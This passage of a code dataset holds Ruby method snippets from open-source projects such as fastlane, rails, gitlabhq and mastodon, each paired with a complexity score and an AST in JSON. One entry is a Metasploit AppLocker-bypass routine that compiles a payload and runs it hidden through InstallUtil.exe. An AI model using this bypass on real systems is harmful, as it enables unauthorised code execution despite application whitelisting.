{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/tunes/tunes.rb","start_line":1198,"raw_source":"def post_sandbox_tester(attributes: {})\n          body = {\n            data: {\n              type: \"sandboxTesters\",\n              attributes: attributes\n            }\n          }\n\n          tunes_request_client.post(\"#{Version::V1}/sandboxTesters\", body)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_sandbox_tester\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"sandboxTesters\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/sandboxTesters\"]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"7fa3fb5d-f3a4-449c-b2b7-e4debae432c0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_class.rb","start_line":135,"raw_source":"def self.find_distinct_instances_across_domains(user, fqname)\n    return [] if fqname.blank?\n\n    ns, klass = fqname.starts_with?('/') ? parse_fqname(fqname[1..-1]) : parse_fqname(fqname)\n    return [] if ns.blank? || klass.blank?\n\n    get_unique_instances_from_classes(get_sorted_homonym_class_across_domains(user, ns, klass))\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_distinct_instances_across_domains\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"fqname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fqname\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ns\"]},{\"type\":\"lvasgn\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fqname\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_fqname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fqname\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_fqname\",{\"type\":\"lvar\",\"children\":[\"fqname\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"get_unique_instances_from_classes\",{\"type\":\"send\",\"children\":[null,\"get_sorted_homonym_class_across_domains\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"ns\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}","id":"ace7a2f8-c93e-469a-b6d1-1b6a90f9d489"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/events_controller.rb","start_line":12,"raw_source":"def event_info\n    {\n      widget_language: params[:locale],\n      browser_language: browser.accept_language.first&.code,\n      browser: browser_params\n    }\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"event_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_language\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser_language\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser\"]},\"accept_language\"]},\"first\"]},\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"send\",\"children\":[null,\"browser_params\"]}]}]}]}","id":"ceda3c0a-70fe-45c0-b075-359f495b0e5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/applocker_bypass.rb","start_line":66,"raw_source":"def execute_installutil\n    envs = get_envs('TEMP', 'windir')\n\n    dotnet_path = get_dotnet_path(envs['windir'])\n    print_status(\"Using .NET path #{dotnet_path}\")\n\n    cs_path = \"#{envs['TEMP']}\\\\#{Rex::Text.rand_text_alpha(8)}.cs\"\n    exe_path = \"#{envs['TEMP']}\\\\#{Rex::Text.rand_text_alpha(8)}.exe\"\n\n    installutil_path = \"#{dotnet_path}\\\\InstallUtil.exe\"\n\n    print_status(\"Writing payload to #{cs_path}\")\n    write_file(cs_path, generate_csharp_source)\n    register_files_for_cleanup(cs_path)\n\n    print_status(\"Compiling payload to #{exe_path}\")\n    csc_path = \"#{dotnet_path}\\\\csc.exe\"\n    csc_platform = payload.arch.first == ARCH_X86 ? ARCH_X86 : ARCH_X64\n    vprint_status(\"Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}\")\n    cmd_exec(csc_path, \"/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}\")\n\n    print_status(\"Executing payload ...\")\n    vprint_status(\"Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}\")\n    client.sys.process.execute(installutil_path, \"/logfile= /LogToConsole=false /U #{exe_path}\", { 'Hidden' => true })\n    register_files_for_cleanup(exe_path)\n  end","complexity_score":37.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_installutil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"envs\",{\"type\":\"send\",\"children\":[null,\"get_envs\",{\"type\":\"str\",\"children\":[\"TEMP\"]},{\"type\":\"str\",\"children\":[\"windir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dotnet_path\",{\"type\":\"send\",\"children\":[null,\"get_dotnet_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"windir\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using .NET path \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dotnet_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cs_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".cs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"installutil_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dotnet_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\InstallUtil.exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"cs_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_csharp_source\"]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"cs_path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Compiling payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csc_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dotnet_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\csc.exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csc_platform\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"arch\"]},\"first\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csc_path\"]}]},{\"type\":\"str\",\"children\":[\" /target:winexe /nologo /platform:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csc_platform\"]}]},{\"type\":\"str\",\"children\":[\" /w:0 /out:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"csc_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/target:winexe /nologo /platform:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csc_platform\"]}]},{\"type\":\"str\",\"children\":[\" /w:0 /out:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload ...\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installutil_path\"]}]},{\"type\":\"str\",\"children\":[\" /logfile= /LogToConsole=false /U \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"installutil_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/logfile= /LogToConsole=false /U \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]}]}]}","id":"c7e59a22-67a2-4d22-8603-f71fd0daf7e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/api_helpers.rb","start_line":72,"raw_source":"def expect_response_contain_exactly(*items)\n    expect(response).to have_gitlab_http_status(:ok)\n    expect(json_response).to be_an Array\n    expect(json_response.map { |item| item['id'] }).to contain_exactly(*items)\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_response_contain_exactly\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"response\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_gitlab_http_status\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"json_response\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_an\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"contain_exactly\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}]}]}","id":"e698253d-1728-48ae-bfdf-07a406334c55"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":114,"raw_source":"def expect_hidden_field(attribute)\n      page.within(container) do\n        expect(page).to have_no_css(\".inline-edit--display-field.#{attribute}\")\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_hidden_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".inline-edit--display-field.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}]}]}","id":"74920250-3c35-4891-b56b-7241e1277d1e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_parenthesis_indentation.rb","start_line":167,"raw_source":"def first_argument_line(elements)\n          elements.first.loc.first_line\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"first_argument_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"elements\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"first\"]},\"loc\"]},\"first_line\"]}]}","id":"3ca0ac21-e0d1-472d-a00d-0e0148c27634"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":88,"raw_source":"def apply_chain_methods(base_matcher, chained_methods)\n    return base_matcher unless chained_methods&.any?\n\n    chained_methods.reduce(base_matcher) do |matcher, args|\n      matcher.send(*args)\n    end\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_chain_methods\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_matcher\"]},{\"type\":\"arg\",\"children\":[\"chained_methods\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chained_methods\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_matcher\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chained_methods\"]},\"reduce\",{\"type\":\"lvar\",\"children\":[\"base_matcher\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"send\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"5f787878-2580-44a0-a771-308526277e4f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reflection_test.rb","start_line":629,"raw_source":"def test_reflect_on_association_accepts_strings\n    assert_nothing_raised do\n      assert_equal :departments, Hotel.reflect_on_association(\"departments\").name\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reflect_on_association_accepts_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"departments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hotel\"]},\"reflect_on_association\",{\"type\":\"str\",\"children\":[\"departments\"]}]},\"name\"]}]}]}]}","id":"a7f679e6-b162-4c5c-9ef0-436512975f37"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/propfind_query.rb","start_line":101,"raw_source":"def success_result(response, username)\n              doc = Nokogiri::XML(response.body.to_s)\n              result = {}\n              doc.xpath(\"/d:multistatus/d:response\").each do |resource_section|\n                resource = resource_path(resource_section, username)\n                result[resource] = {}\n\n                # In future it could be useful to respond not only with found, but not found props as well\n                # resource_section.xpath(\"d:propstat[d:status[text() = 'HTTP/1.1 404 Not Found']]/d:prop/*\")\n                resource_section.xpath(\"d:propstat[d:status[text() = 'HTTP/1.1 200 OK']]/d:prop/*\").each do |node|\n                  result[resource][node.name.to_s] = node.text.strip\n                end\n              end\n\n              Success(result)\n            end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"success_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"/d:multistatus/d:response\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[null,\"resource_path\",{\"type\":\"lvar\",\"children\":[\"resource_section\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_section\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"d:propstat[d:status[text() = 'HTTP/1.1 200 OK']]/d:prop/*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"text\"]},\"strip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"67153aa3-eee6-46ab-a9c5-07bd9d0a4293"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar/stats.rb","start_line":34,"raw_source":"def request(id)\n        # Peek gem stores request data under peek:requests:request_id key\n        json_data = @redis.get(\"peek:requests:#{id}\")\n        raise \"No data for #{id}\" if json_data.nil?\n\n        Gitlab::Json.parse(json_data)\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redis\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"peek:requests:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No data for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"json_data\"]}]}]}]}","id":"ac43763c-296d-4544-baa9-06b9effc79b6"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/badge_achievements_controller.rb","start_line":25,"raw_source":"def destroy\n      achievement = BadgeAchievement.find(params[:id])\n      achievement.destroy\n      head :no_content\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"achievement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BadgeAchievement\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"achievement\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"a47d9f94-f3d1-429f-9155-caf1f3045867"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/create.rb","start_line":193,"raw_source":"def attach_counts(status)\n    likes = @status_parser.favourites_count\n    shares = @status_parser.reblogs_count\n    return if likes.nil? && shares.nil?\n\n    status.status_stat.tap do |status_stat|\n      status_stat.untrusted_reblogs_count = shares unless shares.nil?\n      status_stat.untrusted_favourites_count = likes unless likes.nil?\n      status_stat.save if status_stat.changed?\n    end\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"likes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"favourites_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shares\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"reblogs_count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shares\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"status_stat\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shares\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"untrusted_reblogs_count=\",{\"type\":\"lvar\",\"children\":[\"shares\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"untrusted_favourites_count=\",{\"type\":\"lvar\",\"children\":[\"likes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"save\"]},null]}]}]}]}]}","id":"dc962c8c-2c65-491f-937f-5cd41cda523b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/uniqueness_validation_test.rb","start_line":694,"raw_source":"def test_changing_non_unique_attribute_and_unique_attribute_is_nil\n    Topic.validates_uniqueness_of(:title)\n    @connection.add_index(:topics, :title, unique: true, name: :topics_index)\n\n    t = Topic.create!\n    assert_nil t.title\n    t.author_name = \"John\"\n    assert_queries_count(1) do\n      t.valid?\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changing_non_unique_attribute_and_unique_attribute_is_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_uniqueness_of\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"topics_index\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name=\",{\"